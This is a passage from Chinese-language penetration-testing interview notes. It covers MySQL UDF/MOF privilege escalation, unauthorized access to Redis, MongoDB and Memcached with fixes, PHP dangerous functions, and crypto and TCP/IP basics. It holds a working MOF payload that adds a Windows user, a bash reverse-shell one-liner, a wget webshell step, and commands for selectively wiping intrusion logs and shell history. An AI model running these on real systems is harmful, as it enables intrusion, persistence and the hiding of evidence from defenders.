drop function cmdshell;

該目錄預設是不存在的,這就需要我們使用webshell找到MYSQL的安裝目錄,並在安裝目錄下建立lib\plugin資料夾,然後將udf.dll檔案匯出到該目錄即可。

MySQL mof提權

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name  = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer   = $Consumer;
Filter = $EventFilter;
};

其中的第18行的命令,上傳前請自己更改。

2、執行load_file及into dumpfile把檔案匯出到正確的位置即可。

select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov'

執行成功後,即可新增一個普通使用者,然後你可以更改命令,再上傳匯出執行把使用者提升到管理員許可權,然後3389連線之就ok了。

十八、特殊漏洞

1、Struts2-045

2、Redis未授權

產生原因

Redis 預設情況下,會繫結在 0.0.0.0:6379,這樣將會將 Redis 服務暴露到公網上,如果在沒有開啟認證的情況下,可以導致任意使用者在可以訪問目標伺服器的情況下未授權訪問 Redis 以及讀取 Redis 的資料。攻擊者在未授權訪問 Redis 的情況下可以利用 Redis 的相關方法,可以成功在 Redis 伺服器上寫入公鑰,進而可以使用對應私鑰直接登入目標伺服器

利用條件和方法

條件:

a、redis服務以root賬戶執行
b、redis無密碼或弱密碼進行認證
c、redis監聽在0.0.0.0公網上

方法:

a、通過 Redis 的 INFO 命令, 可以檢視伺服器相關的引數和敏感資訊, 為攻擊者的後續滲透做鋪墊
b、上傳SSH公鑰獲得SSH登入許可權
c、通過crontab反彈shell
d、slave主從模式利用

修復

密碼驗證
降權執行
限制ip/修改埠

3、Jenkins未授權訪問

4、MongoDB未授權訪問

攻擊者通過未授權訪問進入指令碼命令執行介面執行攻擊指令

println "ifconfig -a".execute().text 執行一些系統命令,利用wget下載webshell

開啟MongoDB服務時不新增任何引數時,預設是沒有許可權驗證的,而且可以遠端訪問資料庫,登入的使用者可以通過預設埠無需密碼對資料庫進行增、刪、改、查等任意高危操作。

防護

為MongoDB新增認證:1)MongoDB啟動時新增–auth引數 2)給MongoDB新增使用者:use admin #使用admin庫 db.addUser(“root”, “123456”) #新增使用者名稱root密碼123456的使用者 db.auth(“root”,“123456”) #驗證下是否新增成功,返回1說明成功 2、禁用HTTP和REST埠 MongoDB自身帶有一個HTTP服務和並支援REST介面。在2.6以後這些介面預設是關閉的。mongoDB預設會使用預設埠監聽web服務,一般不需要通過web方式進行遠端管理,建議禁用。修改配置檔案或在啟動的時候選擇–nohttpinterface 引數nohttpinterface=false 3、限制繫結IP 啟動時加入引數 –bind_ip 127.0.0.1 或在/etc/mongodb.conf檔案中新增以下內容:bind_ip = 127.0.0.1

5、Memcache未授權訪問

Memcached是一套常用的key-value快取系統,由於它本身沒有許可權控制模組,所以對公網開放的Memcache服務很容易被攻擊者掃描發現,攻擊者通過命令互動可直接讀取Memcached中的敏感資訊。

利用

a、登入機器執行netstat -an |more命令檢視埠監聽情況。回顯0.0.0.0:11211表示在所有網絡卡進行監聽,存在memcached未授權訪問漏洞。

b、telnet 11211,或nc -vv 11211,提示連線成功表示漏洞存在

漏洞加固

a、設定memchached只允許本地訪問 b、禁止外網訪問Memcached 11211埠 c、編譯時加上–enable-sasl,啟用SASL認證

6、FFMPEG本地檔案讀取

原理

通過呼叫加密API將payload加密放入一個會被執行的段位元組中。但是具體回答工程中我只回答道了SSRF老洞,m3u8頭,偏移量,加密。

十九、安全知識

1、WEB

常見WEB開發JAVA框架

STRUTS,SPRING 常見的java框架漏洞 其實面試官問這個問題的時候我不太清楚他要問什麼,我提到struts的045 048,java常見反序列化。045 錯誤處理引入了ognl表示式 048 封裝action的過程中有一步呼叫getstackvalue遞迴獲取ognl表示式 反序列化 操作物件,通過手段引入。apache common的反射機制、readobject的重寫,其實具體的我也記不清楚。。。然後這部分就結束了

同源策略

同源策略限制不同源對當前document的屬性內容進行讀取或設定。不同源的區分:協議、域名、子域名、IP、埠,以上有不同時即不同源。

Jsonp安全攻防技術,怎麼寫Jsonp的攻擊頁面

涉及到Jsonp的安全攻防內容

JSON劫持、Callback可定義、JSONP內容可定義、Content-type不為json。

攻擊頁面

JSON劫持,跨域劫持敏感資訊,頁面類似於

function wooyun(v){
alert(v.username);
}

Content-type不正確情況下,JSONP和Callback內容可定義可造成XSS。JSONP和FLASH及其他的利用參照知道創宇的JSONP安全攻防技術。

2、PHP

php中命令執行涉及到的函式

程式碼執行:eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function()

檔案讀取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等

命令執行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
安全模式下繞過php的disable fuction

DL函式,元件漏洞,環境變數。
PHP弱型別

== 在進行比較的時候,會先將字串型別轉化成相同,再比較

如果比較一個數字和字串或者比較涉及到數字內容的字串,則字串會被轉換成數值並且比較按照數值來進行

0e開頭的字串等於0

3、資料庫

各種資料庫檔案存放的位置

mysql:
/usr/local/mysql/data/ 
C:\ProgramData\MySQL\MySQL Server 5.6\Data\
oracle:$ORACLE_BASE/oradata/$ORACLE_SID/

4、系統

如何清理日誌

meterpreter: clearev
入侵 Linux 伺服器後需要清除哪些日誌?

web日誌,如apache的access.log,error.log。直接將日誌清除過於明顯,一般使用sed進行定向清除

e.g. sed -i -e ‘/192.169.1.1/d’

history命令的清除,也是對~/.bash_history進行定向清除

wtmp日誌的清除,/var/log/wtmp

登入日誌清除 /var/log/secure
LINUX
檢視當前埠連線的命令有哪些?netstat 和 ss 命令的區別和優缺點

netstat -antp` `ss -l

ss的優勢在於它能夠顯示更多更詳細的有關TCP和連線狀態的資訊,而且比netstat更快速更高效。
反彈 shell 的常用命令?一般常反彈哪一種 shell?為什麼?

bash -i>&/dev/tcp/x.x.x.x/4444 0>&1

通過Linux系統的/proc目錄 ,能夠獲取到哪些資訊,這些資訊可以在安全上有哪些應用?

ls /proc

系統資訊,硬體資訊,核心版本,載入的模組,程序
linux系統中,檢測哪些配置檔案的配置項,能夠提升SSH的安全性。

/etc/ssh/sshd___configiptables配置
如何一條命令檢視檔案內容最後一百行

tail -n 100 filename

Windows
如何加固一個域環境下的Windows桌面工作環境?請給出你的思路。

5、密碼學

AES/DES的具體工作步驟
RSA演算法

加密:
密文=明文^EmodN

RSA加密是對明文的E次方後除以N後求餘數的過程
公鑰=(E,N)

解密:
明文=密文^DmodN 私鑰=(D,N)

三個引數n,e1,e2

n是兩個大質數p,q的積
分組密碼的加密模式
如何生成一個安全的隨機數?

引用之前一個學長的答案,可以通過一些物理系統生成隨機數,如電壓的波動、磁碟磁頭讀/寫時的尋道時間、空中電磁波的噪聲等。
SSL握手過程

建立TCP連線、客戶端傳送SSL請求、服務端處理SSL請求、客戶端傳送公共金鑰加密過的隨機資料、服務端用私有金鑰解密加密後的隨機資料並協商暗號、服務端跟客戶端利用暗號生成加密演算法跟金鑰key、之後正常通訊。這部分本來是忘了的,但是之前看SSL Pinning的時候好像記了張圖在腦子裡,掙扎半天還是沒敢確定,遂放棄。。。
對稱加密與非對稱加密的不同,分別用在哪些方面

6、TCP/IP

TCP三次握手的過程以及對應的狀態轉換

(1)客戶端向伺服器端傳送一個SYN包,包含客戶端使用的埠號和初始序列號x;
(2)伺服器端收到客戶端傳送來的SYN包後,向客戶端傳送一個SYN和ACK都置位的TCP報文,包含確認號xx1和伺服器端的初始序列號y;
(3)客戶端收到伺服器端返回的SYNSACK報文後,向伺服器端返回一個確認號為yy1、序號為xx1的ACK報文,一個標準的TCP連線完成。
TCP和UDP協議區別

tcp面向連線,udp面向報文 tcp對系統資源的要求多 udp結構簡單 tcp保證資料完整性和順序,udp不保證
https的建立過程

a、客戶端傳送請求到伺服器端
b、伺服器端返回證書和公開金鑰,公開金鑰作為證書的一部分而存在
c、客戶端驗證證書和公開金鑰的有效性,如果有效,則生成共享金鑰並使用公開金鑰加密傳送到伺服器端
d、伺服器端使用私有金鑰解密資料,並使用收到的共享金鑰加密資料,傳送到客戶端
e、客戶端使用共享金鑰解密資料
f、SSL加密建立

7、流量分析

wireshark簡單的過濾規則

過濾ip:

過濾源ip地址:ip.src1.1.1.1;,目的ip地址:ip.dst1.1.1.1;

過濾埠:

過濾80埠:tcp.port80,源埠:tcp.srcport80,目的埠:tcp.dstport==80

協議過濾:

直接輸入協議名即可,如http協議http

http模式過濾:

過濾get/post包http.request.mothod=="GET/POST"

8、防火牆

簡述路由器交換機、防火牆等網路裝置常用的幾個基礎配置加固項,以及配置方法。